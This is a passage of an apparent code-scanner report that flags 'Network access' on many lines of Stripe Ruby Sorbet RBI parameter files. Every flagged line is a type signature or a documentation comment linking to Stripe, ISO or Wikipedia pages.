    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p
  • Network accessline 2621
    def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.         sig { returns(T.nilable(String)) }
  • Network accessline 2622
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 3682
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3683
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 3684
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3702
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3703
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 3704
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3760
    def initialize(amount: nil); end     end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g.,
  • Network accessline 3761
    end     # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to 
  • Network accessline 3762
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 3772
    }     def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe
  • Network accessline 3773
    def amount_details=(_amount_details); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll
  • Network accessline 3774
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 3784
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }     def capture_method=(_capture_method); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s
  • Network accessline 3785
    def capture_method=(_capture_method); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilabl
  • Network accessline 3786
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 3793
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 3794
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent 
  • Network accessline 3795
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 3802
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 3803
    #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h
  • Network accessline 3804
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 3831
    }     def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 3832
    def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca
  • Network accessline 3833
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 3845
    }     def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentI
  • Network accessline 3846
    def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 3847
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. To unset this field to null, pass in an empty s
  • Network accessline 3850
    sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use
  • Network accessline 3851
    def payment_method=(_payment_method); end     # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.     sig { returns(T.nilable(String)) }
  • Network accessline 3852
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.
  • Network accessline 3856
    def payment_method_configuration=(_payment_method_configuration); end     # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_i
  • Network accessline 3857
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)     # property on the 
  • Network accessline 3858
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 3871
    }     def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard
  • Network accessline 3872
    def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](http
  • Network accessline 3873
    # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list of 
  • Network accessline 3878
    }     def payment_method_types=(_payment_method_types); end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of you
  • Network accessline 3879
    def payment_method_types=(_payment_method_types); end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [ema
  • Network accessline 3880
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 3905
    }     def shipping=(_shipping); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, 
  • Network accessline 3906
    def shipping=(_shipping); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, includ
  • Network accessline 3907
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 3908
    #     # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.     sig { returns(T.nilable(String)) 
  • Network accessline 3909
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 3912
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descripto
  • Network accessline 3913
    def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f
  • Network accessline 3914
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 3917
    sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # Use this parameter to automatically create a Transfer when the payment 
  • Network accessline 3918
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/paymen
  • Network accessline 3919
    # Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 3924
    }     def transfer_data=(_transfer_data); end     # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https
  • Network accessline 3925
    def transfer_data=(_transfer_data); end     # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://doc
  • Network accessline 3926
    # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_link_create_params.rbi

  • Network accessline 16
    end       class Redirect < ::Stripe::RequestParams         # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](
  • Network accessline 17
    class Redirect < ::Stripe::RequestParams         # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://do
  • Network accessline 18
    # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko
  • Network accessline 63
    def initialize(account: nil, type: nil); end       end       # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 64
    end       # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.       #
  • Network accessline 65
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 110
    def promotions=(_promotions); end       # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.       # There must be a valid terms of service URL set in your [Dashboard settings](https:/
  • Network accessline 111
    # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.       # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). 
  • Network accessline 112
    # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public).
  • Network accessline 429
    }         def issuer=(_issuer); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 430
    def issuer=(_issuer); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 431
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 509
    sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }           def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This 
  • Network accessline 510
    def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 511
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 521
    sig { params(_name: String).returns(String) }           def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 522
    def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.           sig { returns(T.nilable(String)) }
  • Network accessline 523
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 557
    def initialize(interval: nil, interval_count: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie
  • Network accessline 558
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 559
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 562
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr
  • Network accessline 563
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.         sig { return
  • Network accessline 564
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 567
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }         def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat
  • Network accessline 568
    def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.         sig { returns(T.nilable(PaymentLinkCreateParams::LineIt
  • Network accessline 569
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 581
    }         def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri
  • Network accessline 582
    def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 583
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 616
    }       def adjustable_quantity=(_adjustable_quantity); end       # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 617
    def adjustable_quantity=(_adjustable_quantity); end       # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.       sig { returns(T.nil
  • Network accessline 618
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 621
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 622
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(PaymentLinkCreateParams::LineItem::PriceData)) 
  • Network accessline 623
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 715
    }       def adjustable_quantity=(_adjustable_quantity); end       # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 716
    def adjustable_quantity=(_adjustable_quantity); end       # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.       sig { returns(String) }
  • Network accessline 717
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 741
    sig { params(_description: T.nilable(String)).returns(T.nilable(String)) }       def description=(_description); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Int
  • Network accessline 742
    def description=(_description); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment li
  • Network accessline 743
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie
  • Network accessline 748
    }       def metadata=(_metadata); end       # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session.
  • Network accessline 749
    def metadata=(_metadata); end       # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session.       #
  • Network accessline 750
    # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session.
  • Network accessline 763
    sig { params(_setup_future_usage: T.nilable(String)).returns(T.nilable(String)) }       def setup_future_usage=(_setup_future_usage); end       # Text that appears on the customer's statement as the statement descriptor for a non-card charg
  • Network accessline 764
    def setup_future_usage=(_setup_future_usage); end       # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information abou
  • Network accessline 765
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 766
    #       # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.       sig { returns(T.nilable(Strin
  • Network accessline 767
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 770
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor=(_statement_descriptor); end       # Provides information about a card charge. Concatenated to the account's [statement descr
  • Network accessline 771
    def statement_descriptor=(_statement_descriptor); end       # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to
  • Network accessline 772
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 775
    sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor_suffix=(_statement_descriptor_suffix); end       # A string that identifies the resulting payment as part of a group. 
  • Network accessline 776
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end       # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate
  • Network accessline 777
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 907
    }       def invoice_settings=(_invoice_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from t
  • Network accessline 908
    def invoice_settings=(_invoice_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this paym
  • Network accessline 909
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i
  • Network accessline 1009
    }     def consent_collection=(_consent_collection); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported
  • Network accessline 1010
    def consent_collection=(_consent_collection); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by ea
  • Network accessline 1011
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by each line item's price.
  • Network accessline 1028
    }     def custom_text=(_custom_text); end     # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 1029
    def custom_text=(_custom_text); end     # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).     sig { returns(T.nil
  • Network accessline 1030
    # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 1057
    }     def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 1058
    def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 1059
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1076
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }     def on_behalf_of=(_on_behalf_of); end     # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or rec
  • Network accessline 1077
    def on_behalf_of=(_on_behalf_of); end     # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).     # There is a maximum of
  • Network accessline 1078
    # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).
  • Network accessline 1096
    # Can only be set in `subscription` mode. Defaults to `always`.     #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip
  • Network accessline 1097
    #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).     sig { returns(T.nilable(St
  • Network accessline 1098
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 1101
    sig { params(_payment_method_collection: T.nilable(String)).returns(T.nilable(String)) }     def payment_method_collection=(_payment_method_collection); end     # The list of payment method types that customers can use. If no value is passe
  • Network accessline 1102
    def payment_method_collection=(_payment_method_collection); end     # The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings](
  • Network accessline 1103
    # The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings/payment_methods) (20+ payment 
  • Network accessline 1131
    }     def shipping_address_collection=(_shipping_address_collection); end     # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link.
  • Network accessline 1132
    def shipping_address_collection=(_shipping_address_collection); end     # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link.     sig { returns(T.nilable(T::
  • Network accessline 1133
    # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link.
  • Network accessline 1138
    }     def shipping_options=(_shipping_options); end     # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the
  • Network accessline 1139
    def shipping_options=(_shipping_options); end     # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url]
  • Network accessline 1140
    # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_link_update_params.rbi

  • Network accessline 16
    end       class Redirect < ::Stripe::RequestParams         # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](
  • Network accessline 17
    class Redirect < ::Stripe::RequestParams         # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://do
  • Network accessline 18
    # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko
  • Network accessline 63
    def initialize(account: nil, type: nil); end       end       # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 64
    end       # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.       #
  • Network accessline 65
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 387
    }         def issuer=(_issuer); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 388
    def issuer=(_issuer); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 389
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 531
    sig { params(_description: T.nilable(String)).returns(T.nilable(String)) }       def description=(_description); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Int
  • Network accessline 532
    def description=(_description); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment li
  • Network accessline 533
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie
  • Network accessline 538
    }       def metadata=(_metadata); end       # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requiremen
  • Network accessline 539
    def metadata=(_metadata); end       # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, incl
  • Network accessline 540
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 541
    #       # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.       sig { returns(T.nilable(Strin
  • Network accessline 542
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 545
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor=(_statement_descriptor); end       # Provides information about a card charge. Concatenated to the account's [statement descr
  • Network accessline 546
    def statement_descriptor=(_statement_descriptor); end       # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to
  • Network accessline 547
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 550
    sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor_suffix=(_statement_descriptor_suffix); end       # A string that identifies the resulting payment as part of a group. 
  • Network accessline 551
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end       # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate
  • Network accessline 552
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 666
    }       def invoice_settings=(_invoice_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from t
  • Network accessline 667
    def invoice_settings=(_invoice_settings); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this paym
  • Network accessline 668
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i
  • Network accessline 756
    }     def custom_text=(_custom_text); end     # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 757
    def custom_text=(_custom_text); end     # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).     sig { returns(T.nil
  • Network accessline 758
